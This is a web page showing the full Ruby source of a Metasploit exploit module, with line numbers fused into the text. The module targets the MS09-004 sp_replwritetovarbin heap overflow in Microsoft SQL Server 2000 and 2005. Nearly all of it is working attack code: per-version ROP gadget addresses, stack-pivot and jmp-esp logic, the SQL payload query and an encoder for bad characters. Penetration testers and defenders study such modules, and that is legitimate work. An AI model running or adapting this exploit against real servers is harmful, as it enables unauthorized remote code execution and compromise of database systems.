Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::MSSQL910def initialize(info = {})1112super(update_info(info,13'Name' => 'MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption',14'Description' => %q{15A heap-based buffer overflow can occur when calling the undocumented16"sp_replwritetovarbin" extended stored procedure. This vulnerability affects17all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,18and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.19Microsoft patched this vulnerability in SP3 for 2005 without any public20mention.2122An authenticated database session is required to access the vulnerable code.23That said, it is possible to access the vulnerable code via an SQL injection24vulnerability.2526This exploit smashes several pointers, as shown below.27281. pointer to a 32-bit value that is set to 0292. pointer to a 32-bit value that is set to a length influenced by the buffer30length.313. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,32this value is referenced with a displacement of 0x38. For MSSQL 2005, the33displacement is 0x10. The address of our buffer is conveniently stored in34ecx when this instruction is executed.354. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with36a displacement of 4. This pointer is not used by this exploit.3738This particular exploit replaces the previous dual-method exploit. It uses39a technique where the value contained in ecx becomes the stack. From there,40return oriented programming is used to normalize the execution state and41finally execute the payload via a "jmp esp". All addresses used were found42within the sqlservr.exe memory space, yielding very reliable code execution43using only a single query.4445NOTE: The MSSQL server service does not automatically restart by default. That46said, some exceptions are caught and will not result in terminating the process.47If the exploit crashes the service prior to hijacking the stack, it won't die.48Otherwise, it's a goner.49},50'Author' => [ 'jduck' ],51'License' => MSF_LICENSE,52'References' =>53[54[ 'OSVDB', '50589' ],55[ 'CVE', '2008-5416' ],56[ 'BID', '32710' ],57[ 'MSB', 'MS09-004' ],58[ 'EDB', '7501' ]59],60'DefaultOptions' =>61{62'EXITFUNC' => 'seh',63},64'Payload' =>65{66'Space' => 512,67'BadChars' => "", # bad bytes get encoded!68'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",69'DisableNops' => true70},71'Platform' => 'win',72'Privileged' => true,73'Targets' =>74[75# auto targeting!76[ 'Automatic', { } ],7778#79# Individual targets80#81[82# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)83# Aug 6 2000 00:57:4884'MSSQL 2000 / MSDE SP0 (8.00.194)',85{86'Num' => 32, # value for "start_offset"87'VtOff' => -13, # offset from 'Num' to smashed vtable ptr88'VtDisp' => 0x38, # displacement from call [eax+0x38] crash89'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)90'Vtable' => 0x00a87f26, # becomes eax for [eax+0x38] (must be valid to exec)91'FixDisp' => 0x6900a7, # not directly used - call [ecx+0x08]92'Disp' => 0x08, # displacement on call [ecx+disp] used93'ecx2esp' => 0x0041b78f, # xchg ecx,esp / sbb [eax],al / pop esi / ret94'Popped' => 0x4, # byte count popped in above (before ret)95'Offset' => 0x28, # offset to the new stack!96'FixESP' => 0x0071f5fb, # advance esp to next ret (add esp,0x20 / ret)97'Ret' => 0x0041c9a2 # jmp esp98},99],100101[102# Microsoft SQL Server 2000 - 8.00.384 (Intel X86)103# May 23 2001 00:02:52104'MSSQL 2000 / MSDE SP1 (8.00.384)',105{106'Num' => 32, # value for "start_offset"107'VtOff' => -13, # offset from 'Num' to smashed vtable ptr108'VtDisp' => 0x38, # displacement from call [eax+0x38] crash109'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)110'Vtable' => 0x00a95b2f, # becomes eax for [eax+0x38] (must be valid to exec)111'FixDisp' => 0x4b4f00, # not directly used - call [ecx-0x18]112'Disp' => 0x34, # displacement on call [ecx+disp] used113'ecx2esp' => 0x0044d300, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret114'Popped' => 0x8, # byte count popped in above (before ret)115'Offset' => 0x28, # offset to the new stack!116'FixESP' => 0x004a2ce9, # advance esp to next ret (add esp,0x1c / ret)117'Ret' => 0x004caa15 # jmp esp118},119],120121[122# Microsoft SQL Server 2000 - 8.00.534 (Intel X86)123# Nov 19 2001 13:23:50124'MSSQL 2000 / MSDE SP2 (8.00.534)',125{126'Num' => 32, # value for "start_offset"127'VtOff' => -13, # offset from 'Num' to smashed vtable ptr128'VtDisp' => 0x38, # displacement from call [eax+0x38] crash129'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)130'Vtable' => 0x00a64f7e, # becomes eax for [eax+0x38] (must be valid to exec)131'FixDisp' => 0x660077, # not directly used - call [ecx-0x18]132'Disp' => 0x34, # displacement on call [ecx+disp] used133'ecx2esp' => 0x0054131c, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret134'Popped' => 0x8, # byte count popped in above (before ret)135'Offset' => 0x28, # offset to the new stack!136'FixESP' => 0x005306a0, # advance esp to next ret (add esp,0x1c / ret)137'Ret' => 0x004ca984 # jmp esp138},139],140141[142# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)143# Dec 17 2002 14:22:05144'MSSQL 2000 / MSDE SP3 (8.00.760)',145{146'Num' => 32, # value for "start_offset"147'VtOff' => -13, # offset from 'Num' to smashed vtable ptr148'VtDisp' => 0x38, # displacement from call [eax+0x38] crash149'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)150'Vtable' => 0x00ac344e, # becomes eax for [eax+0x38] (must be valid to exec)151'FixDisp' => 0x490074, # not directly used - call [ecx+0x14]152'Disp' => 0x34, # displacement on call [ecx+disp] used153'ecx2esp' => 0x00454303, # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret154'Popped' => 0x8, # byte count popped in above (before ret)155'Offset' => 0x28, # offset to the new stack!156'FixESP' => 0x00503413, # advance esp to next ret (add esp,0x20 / ret)157'Ret' => 0x0043fa97 # jmp esp158},159],160161[162# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)163# May 3 2005 23:18:38164'MSSQL 2000 / MSDE SP4 (8.00.2039)',165{166'Num' => 32, # value for "start_offset"167'VtOff' => -13, # offset from 'Num' to smashed vtable ptr168'VtDisp' => 0x38, # displacement from call [eax+0x38] crash169'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)170'Vtable' => 0x0046592e, # becomes eax for [eax+0x38] (must be valid to exec)171'FixDisp' => 0x69f5e8, # not directly used - call [ecx+0x14]172'Disp' => 0x14, # displacement on call [ecx+disp] used173'ecx2esp' => 0x007b39a8, # push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4174'Popped' => 0x4, # byte count popped in above (before ret)175'Offset' => 0x20, # offset to the new stack!176'FixESP' => 0x00b3694d, # advance esp to next ret (add esp,0x20 / ret)177'Ret' => 0x0047c89d # jmp esp178},179],180181[182# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)183# Oct 14 2005 00:33:37184'MSSQL 2005 SP0 (9.00.1399.06)',185{186'Num' => 32, # value for "start_offset"187'VtOff' => 63, # offset from 'Num' to smashed vtable ptr188'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash189'Writable' => 0x53ad5330, # any writable addr (not even necessary really)190'Vtable' => 0x02201ca8, # becomes eax for [eax+0x38] (must be valid to exec)191'FixDisp' => 0x10e860f, # not directly used - call [ecx+0x14]192'Disp' => 0x50, # displacement on call [ecx+disp] used193'ecx2esp' => 0x0181c0d4, # push ecx / pop esp / pop ebp / ret194'Popped' => 0x4, # byte count popped in above (before ret)195'Offset' => 0x20, # offset to the new stack!196'FixESP' => 0x0147deb7, # advance esp to next ret (add esp,0x10 / ret)197'Ret' => 0x0112c2c7 # jmp esp198},199],200201[202# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)203# Apr 14 2006 01:12:25204'MSSQL 2005 SP1 (9.00.2047.00)',205{206'Num' => 32, # value for "start_offset"207'VtOff' => 63, # offset from 'Num' to smashed vtable ptr208'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash209'Writable' => 0x53ad5330, # any writable addr (not even necessary really)210'Vtable' => 0x0244c803, # becomes eax for [eax+0x38] (must be valid to exec)211'FixDisp' => 0x17139e9, # not directly used - call [ecx+0x14]212'Disp' => 0x52, # displacement on call [ecx+disp] used213'ecx2esp' => 0x0183bf9c, # push ecx / pop esp / pop ebp / ret214'Popped' => 0x4, # byte count popped in above (before ret)215'Offset' => 0x20, # offset to the new stack!216'FixESP' => 0x014923c1, # advance esp to next ret (add esp,0x10 / ret)217'Ret' => 0x011b204c # jmp esp218},219],220221[222# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)223# Feb 9 2007 22:47:07224'MSSQL 2005 SP2 (9.00.3042.00)',225{226'Num' => 32, # value for "start_offset"227'VtOff' => 63, # offset from 'Num' to smashed vtable ptr228'VtDisp' => 0x10, # displacement from mov eax,[edx+0x10] / call eax crash229'Writable' => 0x53ad5330, # any writable addr (not even necessary really)230'Vtable' => 0x027fca52, # becomes eax for [eax+0x38] (must be valid to exec)231'FixDisp' => 0x1106d6b, # not directly used - call [ecx+0x14]232'Disp' => 0x52, # displacement on call [ecx+disp] used233'ecx2esp' => 0x01849641, # push ecx / pop esp / pop ebp / ret234'Popped' => 0x4, # byte count popped in above (before ret)235'Offset' => 0x20, # offset to the new stack!236'FixESP' => 0x01498b22, # advance esp to next ret (add esp,0x10 / ret)237'Ret' => 0x010a5379 # jmp esp238},239],240241[ 'CRASHER', { } ]242],243'DefaultTarget' => 0,244'DisclosureDate' => '2008-12-09'245))246247end248249def check250# the ping to port 1434 method has two drawbacks...251# #1, it doesn't work on mssql 2005 or newer (localhost only listening)252# #2, it doesn't give an accurate version number (sp/os)253254# since we need to have credentials for this vuln, we just login and run a query255# to get the version information256if not (version = mssql_query_version())257return Exploit::CheckCode::Safe258end259print_status("@@version returned:\n\t" + version)260261# Any others?262return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/)263return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/)264return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/)265return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/)266return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/)267return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/)268return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/)269return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/)270return Exploit::CheckCode::Safe271end272273def exploit274275mytarget = nil276if target.name =~ /Automatic/277print_status("Attempting automatic target detection...")278279version = mssql_query_version280fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version281282if (version =~ /8\.00\.194/)283mytarget = targets[1]284elsif (version =~ /8\.00\.384/)285mytarget = targets[2]286elsif (version =~ /8\.00\.534/)287mytarget = targets[3]288elsif (version =~ /8\.00\.760/)289mytarget = targets[4]290elsif (version =~ /8\.00\.2039/)291mytarget = targets[5]292elsif (version =~ /9\.00\.1399\.06/)293mytarget = targets[6]294elsif (version =~ /9\.00\.2047\.00/)295mytarget = targets[7]296elsif (version =~ /9\.00\.3042\.00/)297mytarget = targets[8]298end299300if mytarget.nil?301fail_with(Failure::NoTarget, "Unable to determine target")302else303print_status("Automatically detected target \"#{mytarget.name}\"")304end305else306mytarget = target307end308309sqlquery = %Q|declare @i int,@z nvarchar(4000)310set @z='declare @e int,@b varbinary,@l int;'311set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'312exec sp_executesql @z|313314# just crash it with a pattern buffer if the CRASHER target is selected..315if mytarget.name == 'CRASHER'316sploit = Rex::Text.pattern_create(2048)317print_status("Attempting to corrupt memory to cause an exception!")318num = 32319else320# trigger the memory corruption321num = mytarget['Num']322vt_off = mytarget['VtOff']323vt_disp = mytarget['VtDisp']324vtable = mytarget['Vtable']325ecx_disp = mytarget['Disp']326esp_off = mytarget['Offset']327hijack_esp = mytarget['ecx2esp']328first_esp = mytarget['Popped']329fix_esp = mytarget['FixESP']330writable = mytarget['Writable']331corruptable_bytes = 0x44332333# make sploit buff334sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length335#sploit = Rex::Text.pattern_create(sz)336sploit = rand_text_alphanumeric(sz)337338# remove displacement! (using call [ecx+displacement])339vtable_off = (num + vt_off)340sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')341342# stack -> heap343hijack_off = vtable_off + ecx_disp344sploit[hijack_off,4] = [hijack_esp].pack('V')345# becomes eax on mssql 2ksp4 (prevent crash)346sploit[(vtable_off-4),4] = [writable].pack('V')347348# becomes eip after esp hijack349fixesp_off = vtable_off + first_esp350sploit[fixesp_off,4] = [fix_esp].pack('V')351352# rest of magic stack (disable DEP?)353stack_off = vtable_off + esp_off354stack = []355stack << mytarget['Ret']356stack = stack.pack('V*')357# jump over the stuff that gets corrupted358stack << "\xeb" + [corruptable_bytes].pack('C')359stack << rand_text_alphanumeric(corruptable_bytes)360stack << payload.encoded361sploit[stack_off,stack.length] = stack362363# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff364sploit[hijack_off,4] = [hijack_esp].pack('V')365366print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])367end368369# encode chars that get modified370enc = mssql_encode_string(sploit)371372# put the number in (start offset)373runme = sqlquery.gsub(/%NUM%/, num.to_s)374runme.gsub!(/%STUFF%/, enc)375376# go!377if !mssql_login_datastore378fail_with(Failure::NoAccess, "Unable to log in!")379end380begin381mssql_query(runme, datastore['VERBOSE'])382rescue ::Errno::ECONNRESET, EOFError383print_error("Error: #{$!}")384end385386handler387disconnect388end389390391def mssql_str_to_chars(str)392ret = ""393str.unpack('C*').each do |ch|394ret += "+" if ret.length > 0395ret += "char("396ret << ch.to_s397ret += ")"398end399return ret400end401402403def mssql_encode_string(str)404badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"405406enc = ""407in_str = true408str.unpack('C*').each do |ch|409# double-double single quotes410if ch == 0x27411if not in_str412enc << "+'"413in_str = true414end415enc << ch.chr * 4416next417end418419# double backslashes420if ch == 0x5c421if not in_str422enc << "+'"423in_str = true424end425enc << ch.chr * 2426next427end428429# convert any bad stuff to char(0xXX)430if ((idx = badchars.index(ch.chr)))431enc << "'" if in_str432enc << "+char(0x%x)" % ch433in_str = false434else435enc << "+'" if not in_str436enc << ch.chr437in_str = true438end439end440enc << "+'" if not in_str441return enc442end443444445def mssql_query_version446begin447logged_in = mssql_login_datastore448rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR449return nil450end451452if !logged_in453fail_with(Failure::NoAccess, "Invalid SQL Server credentials")454end455res = mssql_query("select @@version", datastore['VERBOSE'])456disconnect457458return nil if not res459if res[:errors] and not res[:errors].empty?460errstr = ""461res[:errors].each do |err|462errstr << err463end464fail_with(Failure::Unknown, errstr)465end466467if not res[:rows] or res[:rows].empty?468return nil469end470471return res[:rows][0][0]472end473end474475476